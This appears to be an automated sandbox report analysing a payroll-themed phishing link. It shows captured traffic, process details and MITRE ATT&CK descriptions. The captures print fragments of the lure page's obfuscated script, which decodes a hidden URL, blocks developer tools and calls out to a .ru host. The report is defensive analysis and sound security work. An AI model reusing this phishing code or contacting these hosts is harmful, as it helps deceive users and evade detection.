6b 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjFvS1FjU1lzNHdVcHdUWFlxeUpYYWc9PSIsInZhbHVlIjoiVzROYmpwbWoyazNTWFVBd1NmYWRQbHN1UEdMMi90ZngwcE1LZTVXVFRZejJML0xWRDJjQkNxQjJUeWp0V2NnS0NIbmZkWUhyNTQ5QnZ5ZGw1d2o4emwzNWZhM2Z0QXZYYjFHVlJnM2VXSzhvLzJ0Q1lTdGxnaGxWVjNQNUxKcko
2025-02-14 16:24:05 UTC	1369	IN	Data Raw: 35 39 65 35 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 66 75 6c 20 70 65 6f 70 6c 65 20 64 6f 20 77 68 61 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 20 70 65 6f 70 6c 65 20 61 72 65 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 6f 2e 20 44 6f 6e 26 23 30 33 39 3b 74 20 77 69 73 68 20 69 74 20 77 65 72 65 20 65 61 73 69 65 72 3b 20 77 69 73 68 20 79 6f 75 20 77 65 72 65 20 62 65 74 74 65 72 2e 20 2d 2d 3e 0a 0a 3c 73 63 72 69 70 74 3e 0a 0a 49 43 6f 58 6d 59 65 50 56 50 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 55 64 69 35 6b 5a 57 78 70 59 6d 56 79 59 58 52 6c 4f 53 35 6a 62 32 30 76 63 56 70 33 53 55 39 4b 53 54 64 6a 53 6b 31 6a 5a 6c 52 48 57 56 4e 55 61 79 38 3d 22 29 3b 0a 70 59 63 43 5a 47 68 72 57 4d 20 3d 20 61 74 6f 62 28 22 Data Ascii: 59e5... Successful people do what unsuccessful people are not willing to do. Don't wish it were easier; wish you were better. --><script>ICoXmYePVP = atob("aHR0cHM6Ly9Udi5kZWxpYmVyYXRlOS5jb20vcVp3SU9KSTdjSk1jZlRHWVNUay8=");pYcCZGhrWM = atob("
2025-02-14 16:24:05 UTC	1369	IN	Data Raw: 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 7a 4d 70 49 48 78 38 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 6a 63 70 49 48 78 38 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 7a 51 70 49 48 78 38 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 Data Ascii: iYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8CiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8CiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzQpIHx8CiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYg
2025-02-14 16:24:05 UTC	1369	IN	Data Raw: 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 58 42 73 59 57 4e 6c 4b 43 64 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 68 62 47 6c 69 59 57 4a 68 4c 6d 4e 76 62 53 63 70 4f 77 6f 67 49 43 41 67 49 43 41 67 49 48 30 4b 49 43 41 67 49 48 30 73 49 44 45 77 4d 43 6b 37 43 6e 30 70 4b 43 6b 37 43 69 41 67 49 43 41 38 4c 33 4e 6a 63 6d 6c 77 64 44 34 4b 49 43 41 67 49 44 78 7a 59 33 4a 70 63 48 51 67 63 33 4a 6a 50 53 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 4e 76 5a 47 55 75 61 6e 46 31 5a 58 4a 35 4c 6d 4e 76 62 53 39 71 63 58 56 6c 63 6e 6b 74 4d 79 34 32 4c 6a 41 75 62 57 6c 75 4c 6d 70 7a 49 6a 34 38 4c 33 4e 6a 63 6d 6c 77 64 44 34 4b 49 43 41 67 49 44 78 7a 59 33 4a 70 63 48 51 67 63 33 4a 6a 50 53 4a 6f 64 48 52 77 63 Data Ascii: AgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5hbGliYWJhLmNvbScpOwogICAgICAgIH0KICAgIH0sIDEwMCk7Cn0pKCk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy42LjAubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwc
2025-02-14 16:24:05 UTC	1369	IN	Data Raw: 6d 5a 6a 74 6a 62 32 78 76 63 6a 6f 6a 4d 6a 4d 79 4d 7a 49 7a 4f 32 5a 76 62 6e 51 74 5a 6d 46 74 61 57 78 35 4f 69 31 68 63 48 42 73 5a 53 31 7a 65 58 4e 30 5a 57 30 73 63 33 6c 7a 64 47 56 74 4c 58 56 70 4c 47 4a 73 61 57 35 72 62 57 46 6a 63 33 6c 7a 64 47 56 74 5a 6d 39 75 64 43 78 54 5a 57 64 76 5a 53 42 56 53 53 78 79 62 32 4a 76 64 47 38 73 62 33 68 35 5a 32 56 75 4c 48 56 69 64 57 35 30 64 53 78 49 5a 57 78 32 5a 58 52 70 59 32 45 67 54 6d 56 31 5a 53 78 68 63 6d 6c 68 62 43 78 7a 59 57 35 7a 4c 58 4e 6c 63 6d 6c 6d 4f 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 6f 78 4e 48 42 34 4f 32 5a 76 62 6e 51 74 64 32 56 70 5a 32 68 30 4f 6a 51 77 4d 44 73 74 64 32 56 69 61 32 6c 30 4c 57 5a 76 62 6e 51 74 63 32 31 76 62 33 52 6f 61 57 35 6e 4f 6d 46 75 64 47 Data Ascii: mZjtjb2xvcjojMjMyMzIzO2ZvbnQtZmFtaWx5Oi1hcHBsZS1zeXN0ZW0sc3lzdGVtLXVpLGJsaW5rbWFjc3lzdGVtZm9udCxTZWdvZSBVSSxyb2JvdG8sb3h5Z2VuLHVidW50dSxIZWx2ZXRpY2EgTmV1ZSxhcmlhbCxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O2ZvbnQtd2VpZ2h0OjQwMDstd2Via2l0LWZvbnQtc21vb3RoaW5nOmFudG
2025-02-14 16:24:05 UTC	1369	IN	Data Raw: 5a 48 52 6f 4f 6a 5a 77 65 44 74 39 43 69 4e 45 56 6e 4a 55 5a 31 4a 32 5a 6d 78 4a 61 30 46 4e 53 47 5a 31 59 56 56 6c 4c 43 4e 45 56 6e 4a 55 5a 31 4a 32 5a 6d 78 4a 61 30 46 4e 53 47 5a 31 59 56 56 6c 49 43 35 32 52 57 78 55 63 30 64 35 5a 6b 5a 57 5a 55 4a 52 65 32 4a 76 65 43 31 7a 61 47 46 6b 62 33 63 36 61 57 35 7a 5a 58 51 67 4d 43 41 77 49 44 41 67 49 7a 41 7a 4f 44 45 79 4e 7a 74 39 43 69 4e 45 56 6e 4a 55 5a 31 4a 32 5a 6d 78 4a 61 30 46 4e 53 47 5a 31 59 56 56 6c 49 43 35 32 52 57 78 55 63 30 64 35 5a 6b 5a 57 5a 55 4a 52 65 33 4e 30 63 6d 39 72 5a 53 31 6b 59 58 4e 6f 59 58 4a 79 59 58 6b 36 4d 6a 51 79 4f 33 4e 30 63 6d 39 72 5a 53 31 6b 59 58 4e 6f 62 32 5a 6d 63 32 56 30 4f 6a 49 30 4d 6a 74 68 62 6d 6c 74 59 58 52 70 62 32 34 36 63 33 52 Data Ascii: ZHRoOjZweDt9CiNEVnJUZ1J2ZmxJa0FNSGZ1YVVlLCNEVnJUZ1J2ZmxJa0FNSGZ1YVVlIC52RWxUc0d5ZkZWZUJRe2JveC1zaGFkb3c6aW5zZXQgMCAwIDAgIzAzODEyNzt9CiNEVnJUZ1J2ZmxJa0FNSGZ1YVVlIC52RWxUc0d5ZkZWZUJRe3N0cm9rZS1kYXNoYXJyYXk6MjQyO3N0cm9rZS1kYXNob2Zmc2V0OjI0MjthbmltYXRpb246c3R
2025-02-14 16:24:05 UTC	1369	IN	Data Raw: 57 46 79 5a 32 6c 75 4c 57 4a 76 64 48 52 76 62 54 6f 78 63 48 67 37 66 51 6f 75 61 30 4e 4c 51 30 68 34 53 56 6c 31 56 31 64 50 57 55 31 76 59 32 78 73 55 58 56 34 55 6d 39 37 63 33 52 79 62 32 74 6c 4c 57 52 68 63 32 68 68 63 6e 4a 68 65 54 6f 78 4e 6a 59 37 63 33 52 79 62 32 74 6c 4c 57 52 68 63 32 68 76 5a 6d 5a 7a 5a 58 51 36 4d 54 59 32 4f 33 4e 30 63 6d 39 72 5a 53 31 33 61 57 52 30 61 44 6f 79 4f 33 4e 30 63 6d 39 72 5a 53 31 74 61 58 52 6c 63 6d 78 70 62 57 6c 30 4f 6a 45 77 4f 33 4e 30 63 6d 39 72 5a 54 6f 6a 5a 47 55 78 4d 7a 41 7a 4f 32 5a 70 62 47 77 36 49 32 52 6c 4d 54 4d 77 4d 7a 74 68 62 6d 6c 74 59 58 52 70 62 32 34 36 63 33 52 79 62 32 74 6c 49 43 34 32 63 79 42 6a 64 57 4a 70 59 79 31 69 5a 58 70 70 5a 58 49 6f 4c 6a 59 31 4c 44 41 73 Data Ascii: WFyZ2luLWJvdHRvbToxcHg7fQoua0NLQ0h4SVl1V1dPWU1vY2xsUXV4Um97c3Ryb2tlLWRhc2hhcnJheToxNjY7c3Ryb2tlLWRhc2hvZmZzZXQ6MTY2O3N0cm9rZS13aWR0aDoyO3N0cm9rZS1taXRlcmxpbWl0OjEwO3N0cm9rZTojZGUxMzAzO2ZpbGw6I2RlMTMwMzthbmltYXRpb246c3Ryb2tlIC42cyBjdWJpYy1iZXppZXIoLjY1LDAs
2025-02-14 16:24:05 UTC	1369	IN	Data Raw: 52 52 53 33 56 74 53 6e 4a 46 49 43 35 6a 59 69 31 70 65 32 46 75 61 57 31 68 64 47 6c 76 62 6a 70 7a 59 32 46 73 5a 53 31 31 63 43 31 6a 5a 57 35 30 5a 58 49 67 4c 6a 52 7a 49 47 4e 31 59 6d 6c 6a 4c 57 4a 6c 65 6d 6c 6c 63 69 67 75 4e 54 55 73 4c 6a 41 34 4e 53 77 75 4e 6a 67 73 4c 6a 55 7a 4b 53 42 69 62 33 52 6f 4f 32 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 36 49 32 5a 6d 5a 6a 74 69 62 33 4a 6b 5a 58 49 36 4d 6e 42 34 49 48 4e 76 62 47 6c 6b 49 43 4d 32 5a 44 5a 6b 4e 6d 51 37 59 6d 39 79 5a 47 56 79 4c 58 4a 68 5a 47 6c 31 63 7a 6f 7a 63 48 67 37 59 6d 39 34 4c 58 4e 70 65 6d 6c 75 5a 7a 70 69 62 33 4a 6b 5a 58 49 74 59 6d 39 34 4f 32 64 79 61 57 51 74 59 58 4a 6c 59 54 6f 78 4c 7a 45 37 61 47 56 70 5a 32 68 30 4f 6a 49 30 63 48 67 37 64 48 4a 68 62 Data Ascii: RRS3VtSnJFIC5jYi1pe2FuaW1hdGlvbjpzY2FsZS11cC1jZW50ZXIgLjRzIGN1YmljLWJlemllciguNTUsLjA4NSwuNjgsLjUzKSBib3RoO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6MnB4IHNvbGlkICM2ZDZkNmQ7Ym9yZGVyLXJhZGl1czozcHg7Ym94LXNpemluZzpib3JkZXItYm94O2dyaWQtYXJlYToxLzE7aGVpZ2h0OjI0cHg7dHJhb
2025-02-14 16:24:05 UTC	1369	IN	Data Raw: 6c 59 6e 4a 46 59 6d 56 36 49 43 35 30 55 32 5a 35 55 31 52 49 56 30 70 58 63 45 74 32 65 57 64 56 61 47 31 6c 54 6e 6c 37 59 57 35 70 62 57 46 30 61 57 39 75 4f 6e 56 75 63 33 42 70 62 69 41 75 4e 33 4d 67 59 33 56 69 61 57 4d 74 59 6d 56 36 61 57 56 79 4b 43 34 32 4e 53 77 77 4c 43 34 30 4e 53 77 78 4b 53 42 6d 62 33 4a 33 59 58 4a 6b 63 7a 74 39 43 69 35 30 55 32 5a 35 55 31 52 49 56 30 70 58 63 45 74 32 65 57 64 56 61 47 31 6c 54 6e 6c 37 63 33 52 79 62 32 74 6c 4c 58 64 70 5a 48 52 6f 4f 6a 4e 77 65 44 74 7a 64 48 4a 76 61 32 55 74 62 47 6c 75 5a 57 4e 68 63 44 70 79 62 33 56 75 5a 44 74 7a 64 48 4a 76 61 32 55 36 49 7a 41 7a 4f 44 45 79 4e 7a 74 7a 64 48 4a 76 61 32 55 74 5a 47 46 7a 61 47 46 79 63 6d 46 35 4f 6a 41 73 4d 54 41 77 4c 44 41 37 63 33 Data Ascii: lYnJFYmV6IC50U2Z5U1RIV0pXcEt2eWdVaG1lTnl7YW5pbWF0aW9uOnVuc3BpbiAuN3MgY3ViaWMtYmV6aWVyKC42NSwwLC40NSwxKSBmb3J3YXJkczt9Ci50U2Z5U1RIV0pXcEt2eWdVaG1lTnl7c3Ryb2tlLXdpZHRoOjNweDtzdHJva2UtbGluZWNhcDpyb3VuZDtzdHJva2U6IzAzODEyNztzdHJva2UtZGFzaGFycmF5OjAsMTAwLDA7c3
2025-02-14 16:24:05 UTC	1369	IN	Data Raw: 4f 6d 46 6a 64 47 6c 32 5a 53 77 75 53 56 64 54 64 48 4e 43 56 47 74 42 52 6b 46 71 57 58 4a 4a 53 47 70 56 54 57 31 33 61 31 55 67 59 54 70 6d 62 32 4e 31 63 79 77 75 53 56 64 54 64 48 4e 43 56 47 74 42 52 6b 46 71 57 58 4a 4a 53 47 70 56 54 57 31 33 61 31 55 67 59 54 70 6f 62 33 5a 6c 63 6e 74 6a 62 32 78 76 63 6a 6f 6a 4d 54 59 32 4d 7a 63 35 4f 33 30 4b 49 30 74 6e 65 57 78 44 61 48 42 59 54 6d 46 6f 53 6d 78 72 64 6c 4d 73 49 30 74 6e 65 57 78 44 61 48 42 59 54 6d 46 6f 53 6d 78 72 64 6c 4d 36 62 47 6c 75 61 79 77 6a 53 32 64 35 62 45 4e 6f 63 46 68 4f 59 57 68 4b 62 47 74 32 55 7a 70 32 61 58 4e 70 64 47 56 6b 4c 43 4e 36 64 56 68 61 64 6b 74 6a 62 6d 35 69 5a 58 56 6e 52 57 5a 71 54 32 35 56 4c 43 4e 36 64 56 68 61 64 6b 74 6a 62 6d 35 69 5a 58 56 Data Ascii: OmFjdGl2ZSwuSVdTdHNCVGtBRkFqWXJJSGpVTW13a1UgYTpmb2N1cywuSVdTdHNCVGtBRkFqWXJJSGpVTW13a1UgYTpob3Zlcntjb2xvcjojMTY2Mzc5O30KI0tneWxDaHBYTmFoSmxrdlMsI0tneWxDaHBYTmFoSmxrdlM6bGluaywjS2d5bENocFhOYWhKbGt2Uzp2aXNpdGVkLCN6dVhadktjbm5iZXVnRWZqT25VLCN6dVhadktjbm5iZXV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	50007	172.67.186.200	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:24:10 UTC	638	OUT	GET /rand$lyz8b1 HTTP/1.1 Host: d7fa.revishbos.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:24:10 UTC	831	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:24:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KILaeHQcjj2CUmhvX%2FnVGRLn6zBcIzD4wMYiuT70mNMvj%2Fy0a%2BpC6Jao9xRpK8U7MdkIMQ4y63uqT5egLOuHKj9tAZ83h3%2BnuPQqCLAjmEoVuuxaH27OCi%2Fy1lQoRu%2BnFhWsGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e68291f147003-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7179&min_rtt=7162&rtt_var=2720&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1216&delivery_rate=400054&cwnd=32&unsent_bytes=0&cid=8f23ad8c6cabc1b6&ts=623&x=0"
2025-02-14 16:24:10 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-02-14 16:24:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	50010	172.67.186.200	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:24:11 UTC	352	OUT	GET /rand$lyz8b1 HTTP/1.1 Host: d7fa.revishbos.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:24:12 UTC	828	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:24:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PRLFq%2Bi%2Fqixtcty%2Fl63TvPhJZKXmEUMMP8YRtDypEZXWfng6zEy%2Ba3rJqO%2F11Y67zGqSRygDySUt7BB39XgU6c4XpYSUfv44AgViQnRKIxwA7jwR2Pme9O6nNIrJbtFsyL4b3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e683319cd8302-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7121&min_rtt=7101&rtt_var=2703&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=930&delivery_rate=401982&cwnd=32&unsent_bytes=0&cid=e83d1ff4f8d96f18&ts=597&x=0"
2025-02-14 16:24:12 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-02-14 16:24:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:22:50
Start date:	14/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	11:22:50
Start date:	14/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1912,i,18268454604980473983,10137969894201302426,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	11:22:51
Start date:	14/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://jhnet.sakura.ne.jp/tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA#XBESTIE@GMAIL.COM"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph